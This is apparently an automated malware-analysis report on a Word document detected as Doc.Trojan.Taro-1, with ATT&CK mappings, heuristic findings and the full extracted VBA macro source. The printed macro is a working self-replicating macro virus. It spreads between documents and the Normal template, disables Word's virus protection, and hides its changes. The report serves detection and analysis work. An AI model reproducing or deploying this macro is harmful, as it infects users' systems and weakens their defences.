MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The 'AutoOpen' macro attempts to copy itself to the Normal template and modify document properties, indicating an attempt to establish persistence or further compromise the system. The ClamAV detection and heuristic firings strongly suggest malicious intent, likely as a spearphishing attachment.
Heuristics 4
-
ClamAV: Doc.Trojan.Taro-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Taro-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1755 bytes |
SHA-256: 871ed3a198eef2b9d6ae272d7c6dbf8fc3162a6fd142aaed451e05e9b5fc4f44 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "taro"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.taro.AutoOpen"
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
act = act + (ActiveDocument.VBProject.VBComponents(i).Name = "taro") * -1
If act = 1 Then a = i Else a = a
Next
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
nor = nor + (NormalTemplate.VBProject.VBComponents(i).Name = "taro") * -1
If nor = 1 Then n = i Else n = n
Next
If act = 0 Then
NormalTemplate.VBProject.VBComponents(n).Export (NormalTemplate.Path & "\" & "taro.bas")
ActiveDocument.VBProject.VBComponents.Import (NormalTemplate.Path & "\" & "taro.bas")
Options.VirusProtection = False
ActiveDocument.Save
End If
If nor = 0 Then
ActiveDocument.VBProject.VBComponents(a).Export (NormalTemplate.Path & "\" & "taro.bas")
NormalTemplate.VBProject.VBComponents.Import (NormalTemplate.Path & "\" & "taro.bas")
Options.VirusProtection = False
NormalTemplate.Save
End If
If U_Name("") <> "太郎" Then
U_Name ("太郎")
ActiveDocument.Save
End If
ActiveDocument.Saved = True
NormalTemplate.Saved = True
End Sub
Function U_Name(NewName As String)
If NewName = "" Then
U_Name = ActiveDocument.BuiltInDocumentProperties(3)
Else
ActiveDocument.BuiltInDocumentProperties(3) = NewName
End If
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.